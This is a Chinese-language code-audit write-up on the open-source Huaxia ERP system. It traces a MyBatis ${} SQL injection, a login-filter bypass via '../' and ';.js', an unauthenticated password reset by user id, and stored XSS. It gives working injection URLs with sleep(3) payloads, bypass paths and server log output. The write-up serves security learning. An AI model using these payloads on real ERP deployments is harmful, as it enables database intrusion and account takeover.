华夏erp代码审计

华夏erp代码审计

省流

由于发现自己审计javacms的水平不行,所以拿个简单的cms练了一下手

基本上通篇就是复现这个华夏ERP CMS 代码审计 - FreeBuf网络安全行业门户

唯一的小突破就是多挖了几个文章没有的洞(但思路是一个)

sql:

/log/list?search=%7B%22operation%22%3A%220%22%2C%22userId%22%3A%220%22%2C%22clientIp%22%3A%220%22%2C%22status%22%3A%220%22%2C%22beginTime%22%3A%220%22%2C%22endTime%22%3A%220%22%2C%22content%22%3A%22jsh'%20or%20sleep(3)--%2B%22%7D&currentPage=1&pageSize=10

xss:
我在零售退货的栏目新增加一个工单,备注那里添加xss payload,直接就可以了

参考华夏ERP CMS 代码审计 - FreeBuf网络安全行业门户

环境搭建

环境搭建:华夏ERP CMS 代码审计 - FreeBuf网络安全行业门户
由于是源码搭建的方式,所以加载一下Pom.xml。创建数据库后导入sql文件写好配置即可

代码依赖 pom , 框架

经过简单的通读代码,得知是

  • springboot + mybatis
  • 看pom.xml

image-20230804155614395

该fastjson版本存在漏洞

filter

关注filter
(为什么要先看,因为可能里面写了一些全局的过滤,但是如果单纯看具体地方可能会有些意外的过滤没有在白盒代码中被察觉)

image-20230804155728386

这个filter是全局的,其次对于.css#.js#.jpg#.png#.gif#.ico和/user/login#/user/registerUser#/v2/api-docs等资源进行请求时不拦截(#是分隔符)

如果登陆了会得到一个session,从session中取出的user字段,如果不为空,则代表已登陆,不拦截,继续调用下一个doFilter

如果未登陆,会判断url中是否含有doc.html,register.html,login.html,不拦截

ignoredList是css,js等字符串列表,通过正则表达式判断是否存在url中,如果存在则不拦截

HttpServletRequest servletRequest = (HttpServletRequest) request;  
HttpServletResponse servletResponse = (HttpServletResponse) response;  
String requestUrl = servletRequest.getRequestURI();  
//具体,比如:处理若用户未登录,则跳转到登录页  
Object userInfo = servletRequest.getSession().getAttribute("user");  
if(userInfo!=null) { //如果已登录,不阻止  
    chain.doFilter(request, response);  
    return;}  
if (requestUrl != null && (requestUrl.contains("/doc.html") ||  
    requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {  
    chain.doFilter(request, response);  
    return;}  
if (verify(ignoredList, requestUrl)) {  
    chain.doFilter(servletRequest, response);  
    return;}  

// 允许的url
if (null != allowUrls && allowUrls.length > 0) {  
    for (String url : allowUrls) {  
    // 这里使用的是startsWith进行判断,是不是有什么漏洞呢
        if (requestUrl.startsWith(url)) {  
            chain.doFilter(request, response);  
            return;        }  
    }  
}  
servletResponse.sendRedirect("/login.html");

最后一个if,allowUrls是/user/login等url,判断url是否以这些开头,如果是则不拦截
如果这四个if都没进去,则重定向到login.html
读完这个filter我们可以明确几点:

  • 某些url是不会拦截的
  • 判断/user/login是通过开头来判断的,可能可以通过目录穿越符来欺骗,如/user/login/../../
  • 并没有对传入的参数处理的filter,对与sql注入和xss的恶意字符没有判断
    读完了基本的pom和filter,接下来我们结合黑白盒来审计

sql注入

pom.xml里面有mybatis框架

<dependency>  
   <groupId>com.baomidou</groupId>  
   <artifactId>mybatis-plus-boot-starter</artifactId>  
   <version>3.0.7.1</version>  
</dependency>

原文里面是这么讲的:
整个CMS用的是mybatis的框架,我们知道mybatis用#{}的方法传入参数是自动开启预编译的,但是用${}却不行,然后整个sql语句可以用注解或者写到xml文件里面去,这个cms的xml文件写到的是resource/mapper_xml下的,里面定义的sql语句

我的知识储备不是很充足,只能先跟着调一遍了,因为我的sql语句一般都是写在一个专门执行sql语句的mapper里的,全局也可以很快搜到,但是它的代码框架比较大型,和我理解的不一样

全局搜${}

(截个全局搜${的图)

随便找个

selectByConditionLog (第8行)

定义的地方在

com.jsh.erp.datasource.mappers.LogMapperEx

public interface LogMapperEx {  

    List<LogVo4List> selectByConditionLog(  
            @Param("operation") String operation,  
            @Param("userId") Integer userId,  
            @Param("clientIp") String clientIp,  
            @Param("status") Integer status,  
            @Param("beginTime") String beginTime,  
            @Param("endTime") String endTime,  
            @Param("content") String content,  
            @Param("offset") Integer offset,  
            @Param("rows") Integer rows);  

    Long countsByLog(  
            @Param("operation") String operation,  
            @Param("userId") Integer userId,  
            @Param("clientIp") String clientIp,  
            @Param("status") Integer status,  
            @Param("beginTime") String beginTime,  
            @Param("endTime") String endTime,  
            @Param("content") String content);  
}

关注string类型的参数

向上走调用的地方

public List<LogVo4List> select(String operation, Integer userId, String clientIp, Integer status, String beginTime, String endTime,  
                               String content, int offset, int rows)throws Exception {  
    List<LogVo4List> list=null;  
    try{  
        list=logMapperEx.selectByConditionLog(operation, userId, clientIp, status, beginTime, endTime,  
                content, offset, rows);  
        if (null != list) {  
            for (LogVo4List log : list) {  
                log.setCreateTimeStr(Tools.getCenternTime(log.getCreateTime()));  
            }  
        }  
    }catch(Exception e){  
        JshException.readFail(logger, e);  
    }  
    return list;  
}

发现这些参数都是没有过滤的,接着使用find usage
getLogList

private List<?> getLogList(Map<String, String> map)throws Exception {  
    String search = map.get(Constants.SEARCH);  
    String operation = StringUtil.getInfo(search, "operation");  
    Integer userId = StringUtil.parseInteger(StringUtil.getInfo(search, "userId"));  
    String clientIp = StringUtil.getInfo(search, "clientIp");  
    Integer status = StringUtil.parseInteger(StringUtil.getInfo(search, "status"));  
    String beginTime = StringUtil.getInfo(search, "beginTime");  
    String endTime = StringUtil.getInfo(search, "endTime");  
    String content = StringUtil.getInfo(search, "content");  
    return logService.select(operation, userId, clientIp, status, beginTime, endTime, content,  
            QueryUtils.offset(map), QueryUtils.rows(map));  
}

这里涉及了operation和clientIp的获取,是在一个map里面操作的

public static String getInfo(String search, String key){  
    String value = "";  
    if(search!=null) {  
        JSONObject obj = JSONObject.parseObject(search);  
        value = obj.getString(key);  
        if(value.equals("")) {  
            value = null;  
        }  
    }  
    return value;  
}

原来是通过看到是通过fastjson获取的,这里应该是一个json格式传入的参数{"operation":"","clientIp":""}

@Override  
public List<?> select(Map<String, String> map)throws Exception {  
    return getLogList(map);  
}

继续找

public List<?> select(String apiName, Map<String, String> parameterMap)throws Exception {  
    if (StringUtil.isNotEmpty(apiName)) {  
        return container.getCommonQuery(apiName).select(parameterMap);  
    }  
    return new ArrayList<Object>();  
}

其实是调用CommonQueryManager的select方法

这里寻找usage直接可以找到api

@GetMapping(value = "/{apiName}/list")  
public String getList(@PathVariable("apiName") String apiName,  
                    @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,  
                    @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,  
                    @RequestParam(value = Constants.SEARCH, required = false) String search,  
                    HttpServletRequest request)throws Exception {  
    Map<String, String> parameterMap = ParamUtils.requestToMap(request);  
    parameterMap.put(Constants.SEARCH, search);  
    PageQueryInfo queryInfo = new PageQueryInfo();  
    Map<String, Object> objectMap = new HashMap<String, Object>();  
    if (pageSize != null && pageSize <= 0) {  
        pageSize = 10;  
    }  
    String offset = ParamUtils.getPageOffset(currentPage, pageSize);  
    if (StringUtil.isNotEmpty(offset)) {  
        parameterMap.put(Constants.OFFSET, offset);  
    }  
    List<?> list = configResourceManager.select(apiName, parameterMap);  
    objectMap.put("page", queryInfo);  
    if (list == null) {  
        queryInfo.setRows(new ArrayList<Object>());  
        queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);  
        return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);  
    }  
    queryInfo.setRows(list);  
    queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));  
    return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);  
}

但是观察参数可以得知,apiName我们是未知的

回到刚刚CommonQueryManager的select方法,看它的实现,得知

if (StringUtil.isNotEmpty(apiName)) {  
    return container.getCommonQuery(apiName).select(parameterMap);  
}  
return new ArrayList<Object>();

通过apiName调用的container的getCommonQuery

public ICommonQuery getCommonQuery(String apiName) {  
    return configComponentMap.get(apiName);  
}

返回的是一个ICommonQuery类型的值

这里的先调用初始化init方法,遍历service下的组件(每个文件夹下的component类)压入configComponentMap中
(这里调试着看会比较方便)

如果按照原文的话,apiName可以是user,按照我们的分析,apiName是Log

Log的话,我们构造一下exp

exp

/log/list?search=%7B%22operation%22%3A%220%22%2C%22userId%22%3A%220%22%2C%22clientIp%22%3A%220%22%2C%22status%22%3A%220%22%2C%22beginTime%22%3A%220%22%2C%22endTime%22%3A%220%22%2C%22content%22%3A%22jsh'%20or%20sleep(3)--%2B%22%7D&currentPage=1&pageSize=10

其实我们可以根据控制台的回显构造exp,非常方便,只要最后的地方拼接上or sleep就会触发

原文复现:

所以这里要调用UserComponent的select方法的话需要apiName为user

return container.getCommonQuery(apiName).select(parameterMap);

然后传入了CommonQueryManager的select方法,整个过程没有任何过滤,然后刚才的分析可以知道,search应该为json格式的参数

payload

/user/list?search=%7b"userName"%3a""%2c"loginName"%3a"jsh%27%20and%20sleep(3)--%2b"%7d&currentPage=1&pageSize=10

打过去后,控制台输出

2023/08/03-10:40:25 DEBUG [http-nio-8081-exec-3] com.jsh.erp.datasource.mappers.UserMapperEx.countsByUser - ==> Parameters: 
 Time:9031 ms - ID:com.jsh.erp.datasource.mappers.UserMapperEx.selectByConditionUser
Execute SQL:SELECT user.id, user.username, user.login_name, user.position, user.email, user.phonenum, user.description, user.remark, user.isystem, org.id AS orgaId, user.tenant_id, org.org_abr, rel.user_blng_orga_dspl_seq, rel.id AS orgaUserRelId, (SELECT r.name FROM jsh_user_business ub INNER JOIN jsh_role r ON ub.value = concat("[", r.id, "]") AND ifnull(r.delete_flag, '0') != '1' WHERE ub.type = 'UserRole' AND ub.key_id = user.id LIMIT 0, 1) roleName FROM jsh_user user LEFT JOIN jsh_orga_user_rel rel ON rel.tenant_id = 63 AND user.id = rel.user_id AND ifnull(rel.delete_flag, '0') != '1' LEFT JOIN jsh_organization org ON org.tenant_id = 63 AND rel.orga_id = org.id AND ifnull(org.org_stcd, '0') != '5' WHERE user.tenant_id = 63 AND 1 = 1 AND ifnull(user.status, '0') NOT IN ('1', '2') AND user.login_name LIKE '%jsh' AND sleep(3) ORDER BY rel.user_blng_orga_dspl_seq, user.id DESC LIMIT 0, 10

2023/08/03-10:40:34 DEBUG [http-nio-8081-exec-3] com.jsh.erp.datasource.mappers.UserMapperEx.countsByUser - <==      Total: 1
 Time:9021 ms - ID:com.jsh.erp.datasource.mappers.UserMapperEx.countsByUser
Execute SQL:SELECT count(user.id) FROM jsh_user user LEFT JOIN jsh_user_business ub ON user.id = ub.key_id LEFT JOIN jsh_orga_user_rel rel ON rel.tenant_id = 63 AND user.id = rel.user_id AND ifnull(rel.delete_flag, '0') != '1' LEFT JOIN jsh_organization org ON org.tenant_id = 63 AND rel.orga_id = org.id AND ifnull(org.org_stcd, '0') != '5' WHERE user.tenant_id = 63 AND 1 = 1 AND ifnull(user.status, '0') NOT IN ('1', '2') AND user.login_name LIKE '%jsh' AND sleep(3)

可以看到sleep已经拼接进去了

fastjson

这个没什么操作,就是全局搜JSONObject.parseObject
由于实战中实在太少,操作过分简单,不深入了(而且大部分这种情况是黑盒的)

刚刚咱上面调试的时候,getinfo函数就用的parseObject

越权访问

/login.html/../home.html

见前面分析的dofilter

危害:通过../的方式可以任意访问接口

最紧急的防御方式还是过滤掉目录穿越符,这两个白名单的地方都可以通过正则匹配的方式去过滤掉目录穿越符

存储型xss

感觉黑盒好测一点

代码真就写的很烂,我在零售退货的栏目新增加一个工单,备注那里添加xss payload,直接就可以了

任意重置密码

定位路由/user/resetPwd,在UserController中

@PostMapping(value = "/resetPwd")  
public String resetPwd(@RequestParam("id") Long id,  
                                 HttpServletRequest request) throws Exception {  
    Map<String, Object> objectMap = new HashMap<String, Object>();  
    String password = "123456";  
    String md5Pwd = Tools.md5Encryp(password);  
    int update = userService.resetPwd(md5Pwd, id);  
    if(update > 0) {  
        return returnJson(objectMap, message, ErpInfo.OK.code);  
    } else {  
        return returnJson(objectMap, message, ErpInfo.ERROR.code);  
    }  
}

跟进userService.resetPwd

@Transactional(value = "transactionManager", rollbackFor = Exception.class)  
public int resetPwd(String md5Pwd, Long id) throws Exception{  
    int result=0;  
    logService.insertLog("用户",  
            new StringBuffer(BusinessConstants.LOG_OPERATION_TYPE_EDIT).append(id).toString(),  
            ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());  
    User u = getUser(id);  
    String loginName = u.getLoginName();  
    if("admin".equals(loginName)){  
        logger.info("禁止重置超管密码");  
    } else {  
        User user = new User();  
        user.setId(id);  
        user.setPassword(md5Pwd);  
        try{  
            result=userMapper.updateByPrimaryKeySelective(user);  
        }catch(Exception e){  
            JshException.writeFail(logger, e);  
        }  
    }  
    return result;  
}

通过id从数据库里面取出User,这里只有一个判断,就是loginName不为admin,对于其他用户没有判断,然后直接调用setter方法重置password,然后更新数据库

所以说我们这里只需要能够访问到这个路由,然后传入对应账户的id参数即可,可以遍历id

越权漏洞当然不只这一个,还有越权删除和修改用户信息的,这里都是通过id判断,就不再复现了

信息泄露

纵观dofilter

if (requestUrl != null && (requestUrl.contains("/doc.html") ||  
    requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {  
    chain.doFilter(request, response);  
    return;}  
if (verify(ignoredList, requestUrl)) {  
    chain.doFilter(servletRequest, response);  
    return;}  
if (null != allowUrls && allowUrls.length > 0) {  
    for (String url : allowUrls) {  
        if (requestUrl.startsWith(url)) {  
            chain.doFilter(request, response);  
            return;        }  
    }  
}

无非contains, startwith, verify 实现字符串匹配

private static boolean verify(List<String> ignoredList, String url) {  
    for (String regex : ignoredList) {  
        Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);  
        Matcher matcher = pattern.matcher(url);  
        if (matcher.matches()) {  
            return true;  
        }  
    }  
    return false;  
}

而把verify看了,又不过是头尾接上.*的宽松匹配之流

自然呼之欲出一手 /../../绕过,前面已经示范了

除此之外,对于ignoreurl也可以有独特的绕过可以使用:

/user/getAllList;.js

分割符后面只要是ignoredUrl里面允许的后缀均可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇